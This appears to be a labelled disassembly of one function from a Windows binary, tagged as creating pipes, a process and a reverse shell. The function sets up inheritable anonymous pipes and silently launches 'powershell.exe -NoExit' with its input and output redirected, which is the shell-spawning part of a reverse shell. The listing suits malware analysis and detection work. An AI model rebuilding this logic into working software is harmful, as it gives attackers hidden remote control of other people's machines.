Function at 0x140001c20
Capabilities:
Create pipe
Create process on windows
Create reverse shell
Create two anonymous pipes

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0xa0]
sub rsp, 0x1a0
mov rax, qword [0x14000a040]
xor rax, rsp
mov qword [rbp + 0x98], rax
mov rsi, r8
mov rdi, rdx
mov rbx, rcx
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x7c], xmm0
movups xmmword [rbp - 0x6c], xmm0
movups xmmword [rbp - 0x5c], xmm0
movups xmmword [rbp - 0x4c], xmm0
movups xmmword [rbp - 0x3c], xmm0
movups xmmword [rbp - 0x2c], xmm0
mov dword [rbp - 0x1c], eax
mov dword [rbp - 0x80], 0x68
movups xmmword [rbp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x60], xmm1
mov ecx, 0x20
call fcn.140004c90
mov qword [rbp + 0x50], rax
movdqa xmm0, xmmword [0x140006a80]
movdqu xmmword [rbp + 0x60], xmm0
movups xmm0, xmmword [str.Failed_to_create_pipes]
movups xmmword [rax], xmm0
mov ecx, dword [0x1400066b8]
mov dword [rax + 0x10], ecx
movzx ecx, word [0x1400066bc]
mov word [rax + 0x14], cx
mov byte [rax + 0x16], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x20], xmm1
mov ecx, 0x30
call fcn.140004c90
mov rcx, rax
mov qword [rbp + 0x10], rax
movdqa xmm0, xmmword [0x140006ae0]
movdqu xmmword [rbp + 0x20], xmm0
movups xmm0, xmmword [str.Failed_to_initialize_security_descriptor.]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400066d0]
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [0x1400066e0]
movsd qword [rax + 0x20], xmm0
movzx eax, byte [0x1400066e8]
mov byte [rcx + 0x28], al
mov byte [rcx + 0x29], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp], xmm1
mov ecx, 0x30
call fcn.140004c90
mov rdx, rax
mov qword [rbp - 0x10], rax
movdqa xmm0, xmmword [0x140006ad0]
movdqu xmmword [rbp], xmm0
movups xmm0, xmmword [str.Failed_to_set_security_descriptor_DACL.]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140006700]
movups xmmword [rax + 0x10], xmm1
mov ecx, dword [0x140006710]
mov dword [rax + 0x20], ecx
movzx eax, word [0x140006714]
mov word [rdx + 0x24], ax
movzx eax, byte [0x140006716]
mov byte [rdx + 0x26], al
mov byte [rdx + 0x27], 0
mov dword [rsp + 0x60], 0x18
mov dword [rsp + 0x70], 1
mov ecx, 0x28
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rsp + 0x68], rax
mov edx, 1
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
test eax, eax
jne 0x140001df3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rdx, str.Failed_to_initialize_security_descriptor._Error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140004170
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x140004350]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp + 0x10]
jmp 0x1400020de
xor r9d, r9d
xor r8d, r8d
mov edx, 1
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
test eax, eax
jne 0x140001e4c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rdx, str.Failed_to_set_security_descriptor_DACL._Error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140004170
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x140004350]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp - 0x10]
jmp 0x1400020de
xor r9d, r9d
lea r8, [rsp + 0x60]
mov rdx, rbx
lea rcx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
je 0x1400020b7
xor r9d, r9d
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
je 0x1400020b7
xor r8d, r8d
mov edx, 1
mov rcx, qword [rdi]
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
xor r8d, r8d
mov edx, 1
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
mov rax, qword [rsp + 0x50]
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x20], rax
mov rax, qword [rsp + 0x58]
mov qword [rbp - 0x30], rax
or dword [rbp - 0x44], 0x100
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x40], xmm1
mov ecx, 0x20
call fcn.140004c90
mov rdx, rax
mov qword [rbp + 0x30], rax
movdqa xmm0, xmmword [0x140006a80]
movdqu xmmword [rbp + 0x40], xmm0
movups xmm0, xmmword [str.powershell.exe__NoExit]
movups xmmword [rax], xmm0
mov eax, dword [0x1400067a8]
mov dword [rdx + 0x10], eax
movzx eax, word [0x1400067ac]
mov word [rdx + 0x14], ax
mov byte [rdx + 0x16], 0
mov qword [rsp + 0x48], rsi
lea rax, [rbp - 0x80]
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x14000204f
lea rdx, str.Failed_to_create_PowerShell_process.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140004170
mov rcx, rax
lea rdx, [0x140004350]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rdi]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xorps xmm0, xmm0
movups xmmword [rbp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x80], xmm1
mov ecx, 0x30
call fcn.140004c90
mov rdx, rax
mov qword [rbp + 0x70], rax
movdqa xmm0, xmmword [0x140006ac0]
movdqu xmmword [rbp + 0x80], xmm0
movups xmm0, xmmword [str.failed_to_create_powerhsell_session]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400067e8]
movups xmmword [rax + 0x10], xmm1
movzx ecx, word [0x1400067f8]
mov word [rax + 0x20], cx
movzx eax, byte [0x1400067fa]
mov byte [rdx + 0x22], al
mov byte [rdx + 0x23], 0
lea rcx, [rbp + 0x70]
call fcn.140002c70
nop
mov rdx, qword [rbp + 0x88]
cmp rdx, 0xf
jbe 0x140002066
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002048
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002048
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004ccc
jmp 0x140002066
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x1400020a4
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000209f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000209f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004ccc
movdqa xmm0, xmmword [0x140006a50]
movdqu xmmword [rbp + 0x40], xmm0
mov byte [rbp + 0x30], 0
jmp 0x1400020eb
lea rdx, str.Failed_to_create_pipes.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140004170
mov rcx, rax
lea rdx, [0x140004350]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp + 0x50]
call fcn.140002c70
movdqa xmm0, xmmword [0x140006a50]
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x140002131
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002124
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002124
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004ccc
movdqa xmm0, xmmword [0x140006a50]
movdqu xmmword [rbp], xmm0
mov byte [rbp - 0x10], 0
mov rdx, qword [rbp + 0x28]
cmp rdx, 0xf
jbe 0x140002180
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002173
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002173
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004ccc
movdqa xmm0, xmmword [0x140006a50]
movdqu xmmword [rbp + 0x20], xmm0
mov byte [rbp + 0x10], 0
mov rdx, qword [rbp + 0x68]
cmp rdx, 0xf
jbe 0x1400021c7
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400021c2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400021c2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004ccc
mov rcx, qword [rbp + 0x98]
xor rcx, rsp
call fcn.1400049d0
mov rbx, qword [rsp + 0x1d8]
add rsp, 0x1a0
pop rdi
pop rsi
pop rbp
ret